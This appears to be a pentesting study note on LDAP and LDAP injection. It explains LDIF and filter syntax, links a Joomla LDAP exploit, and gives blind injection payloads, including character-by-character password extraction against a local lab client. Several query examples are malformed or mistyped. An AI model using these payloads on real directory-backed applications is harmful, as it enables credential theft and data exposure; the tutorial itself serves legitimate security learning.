Attacking LDAP

  • What is LDAP
  • LDAP Syntax
  • Abusing LDAP

Objectives:

  • What is LDAP and How its used in web applications
  • Common LDAP vulnerabilities and methods of exploiting them

Introduction

LDAP stands For Lightweight Directory Access Protocol. It is a protocol used to modify and query directory services over TCP/IP

  • Directory services is a database-like virtual storage that holds data in specific hierarchical structure. LDAP structure is based on a tree of directory of entries

LDAP is object oriented, thus every entry in an LDAP directory services is an instance of an object and must correspond to the rules fixed For the attributes of the object.

  • LDAP can not only query objects from a directory database, it can also be used For management and authentication.
  • Note that LDAP is just a protocol to access Directory service, not a storage mechanism itself.

LDAP is used to communicate with Directory Databasess, but as a protocol it does not provide any storage capabilities.

  • Sample databases that use directory structure is Microsoft Active Directory (Where LDAP is often used in authentication process) or the less known OpenLDAP

LDIF Format

Objects in directory databasese accesses via LDAP are stored in LDIF which stands For LDAP Data Interchange Format. LDIF defines directory content as a set of records, one recor For each object (or entry). It also represents update requests, such as Add, Modify, Delete, and Renamem as a set of records, one record For each update request.

  • A directory database can support LDIF by defining its assumptions in a LDIF file. It can be a plaintext file simply containing directory data representation as well as LDAP commands. They are also used to read, write, and update data in a directory.

Alt text

Lines 1-3:
We are defining the top-level domain **org**

Lines 5-8:
We are defining the subdomain **samplecompany**,for example **samplecompany.org**

Lines 10-16:
We define two organization units (OU): it and marketing

Lines 18-26:
We then add objects to the domain **samplecompany.org** and assign attributes with values
# for example, *sn* stands for **surname**, “cn” stands for canonical name (or first name), while *mail* is a placeholder for an email address

Each directory services database might have different default attributes

For example, in OpenLDAP implementations you can a find userPassword attribute * (which can be interesting from a pentester standpoint) while there is no such attribute in Active Directory.

LDAP Syntax

Structure For querying the back-end database:

= # equal to
| # logical or
! # logical not
& # logical and
* # wildcard - stands For any string or character

Examples:

ch=John - will fetch personal entries where canonical name is "john"
ch=J*   - will fetch personal entries where canonical name starts with "j" as a wildcard is placed in the query

Also can be concatenated:

(|(sn=a*)(cn=b*))
# the first 'OR' operator is used in order to indicate that we either look For all records which surname 
# starts with "a" OR canonical name starts with "b"

LDAP Implementations

The LDAP as a protocol can be a completely independent implementation from they uderlying database

With that said, we can, For example, configure a web app to server as a front-end to an Active Directory database

Its possible to use AD (or another directory-based database) with LDAP in order to authenticate web application users.

  • This is a convenient method since some roles or user attributes will be shared with domain users, which can be then used For authorization purposes within a web application

This way, a web app can rely on PDAP and the backed directory role atributes when authorizing users to access certain resources

  • Of course, LDAP can be encountered as a database holding different information, which can include employee data or user account attributes; consider a web interface that can be used to browse employee structure in the company

In such as scenario, the web app might take the users input and incorporate it into the LDAP query in order to retrieve database results and present it to the application user.

Abusing LDAP

LDAP over TCP

You can often find LDAP services during the scaning of network infrastructure on default ports:

389 - For unencrypted connections
636 - For LDAP SSL

In order to connect to standalone LDAP services via pure TCP protocol, you can use tool named JXplorer. It can be downloaded in various formats from its homepage and does not require installation. It can also be download as a standalone jar file, which can be run using command:

java -jar JXplorer.jar
http://jxplorer.org/

Since we are focused on web-based implementations, we will leave the JQXplorer For our experiments.

As previously mentioned, LDAP can be integrated with a web application, which can take user input and implement it into an LDAP query. If there is no sanitization of user input, several things can go wrong.

LDAP Vulnerabilities

What can happen without proper user sanitization in web-based LDAP implementations depends heavily on the purpose and content of the LDAP.

  • The basic and most obvious vulns can be LDAP injection. If they query is not sanitized enough, an attacker can place a wildcard instead of a legitimate object, pulling all the objects instead of just one.

Depending on the app architecture, it might or might not be a security flaw.

  • If the user was not meant to see the object he made accessible using a wildcard, then the LDAP injection results in sensitive information retrieval.

Pulling an enourmous amount of data at once could also lead to a Denial of Service condition; If the back-end database is large enough, there is a high likelihood that the front-end was designed in order to filter query results in order not to overload the database engine.

In that case, multiple wildcard queries might render the database unavailable effectively disallowing access to the application service.

A critical vuln from 2017 - Joomla-based websites when LDAP authentication plugin was used:

https://blog.ripstech.com/2017/joomla-takeover-in-20-seconds-with-ldap-injection-cve-2017-14596/

An available exploit can be found on the resource below:

http://www.spy-soft.net/wp-content/uploads/Joomla-LDAP-Injection.txt
  • Suppose that an attacker can infer from the server responses that the code injected into the LDAP query generates true (valid response) ot false (error)

In such a case, its still possible to exploit a Blind LDAP injection.

LDAP Injection

Suppose that a web app allows us to list all available printers from a LDAP directory. Error messages are not returned. The application utilizes the following search filter:

(&(objectclass=printer)(type=Canon*))

As a result, if any Canon printers are available, icons of these printers are shown to the client. Otherwise, no icon is present. This is an exemplary true/false situation.

Blind LDAP Injection

If we inject string “)(objectClass=))(&(objectClass=void”, then the web app will issue the following query:

(&(objectClass=*)(objectClass=*))(&objectClass=void)(type=Canon*))

In that casem only the first LDAP query will be processed resulting in (&(objectClass=)(objectClass=)) being extracted from the back-end.

As a result, the printer icon will be shown to the client. As this query always returns results due to objectClass being set to a wildcard. We can construct further true/false statements in the following way:

(&(objectClass=*)(objectClass=users))(&objectClass=foo)(type=Canon*))
(&(objectClass=*)(objectClass=resources))(&objectClass=foo)(type=Canon*))
  • Using such queries, its possible to enumerate possible object classes based on true/false conditions (printer icon should be shown or not)

Similar logic can be used in case of OR blind LDAP injection. Consider the following query with injected part in red:

(|(objectClass=void)(objectClass=void))(&objectClass=void)(type=Canon*))

Such a query returns no object, so the printer icon should not be shown to the user

In order to gather information, a similar technique can be applied:

(|(objectClass=void)(objectClass=users))(&objectClass=void)(type=Canon*))
(|(objectClass=void)(objectClass=resources))(&objectClass=void)(type=Canon*))

This will allow us to enumerate the directory structure

LDAP Python implementation

Consider the following code that can be responsible For implementing LDAP Server logic

Implementing LDAP Server

Here we are importing some modules:

Alt text

A LDIF file is defined as a variable named LDIF

  • The directory structure is defined here

Alt text

The main class of the LDAPserver.py is defined:

Alt text

Here the main function is defined.

The LDAP Server will listen for incoming connections on port 8080 of the localhost or a command-line specified port.

Alt text

python ldapserver.py to start the server:

Alt text

Make sure that port 8080 is available, as the server will not throw an exception in such a case

Implementing LDAP Client

The file will be named LDAPinfo.java

  • Here we import some packages that will be used in the software

Alt text

The comments of the LDAPinfo class contain explanation of the functionalities

Alt text

The mentioned source code can be compiled with:

javac -d classes LDAPinfo.java

And then it can be run with:

java -cp classes LDAPinfo bob

Alt text

Blind LDAP Injection Example

The client we have compiled is vulnerable to Blind LDAP injection. Lets try to use it in a lifitimate way first

java -cp classes LDAPinfo bob # found
java -cp classes LDAPinfo notbob # not found

Despite the app prints just the telephone number, it can be helpful to extract more data. Take a look at the example:

java -cp classes LDAPinfo "bob)(userPassword=a*" # nothing found

Lets enumerate more letters:

java -cp classes LDAPinfo "bob)(userPassword=b*" # keep going

When encountering the letter ‘s’, we can see that the telephone number is shown

java -cp classes LDAPinfo "bob)(userPassword=s*" # found
# it means that the first letter of the password is "s"

We can go further until find the whole password

java -cp classes LDAPinfo "bob)(userPassword=secret"  

Such an exploitation scenario could be perfect fit For sensitive information extraction Although we were using a command-line LDAP frontend keep in mind that web app would work with LDAP in the same way

Labs

There is 3 boring labs

  • LDAP Injection, HTML Adapter to Root and Insecure RMI

Didn’t take good notes on that, so its not really worth it. But if anyone want, lemme know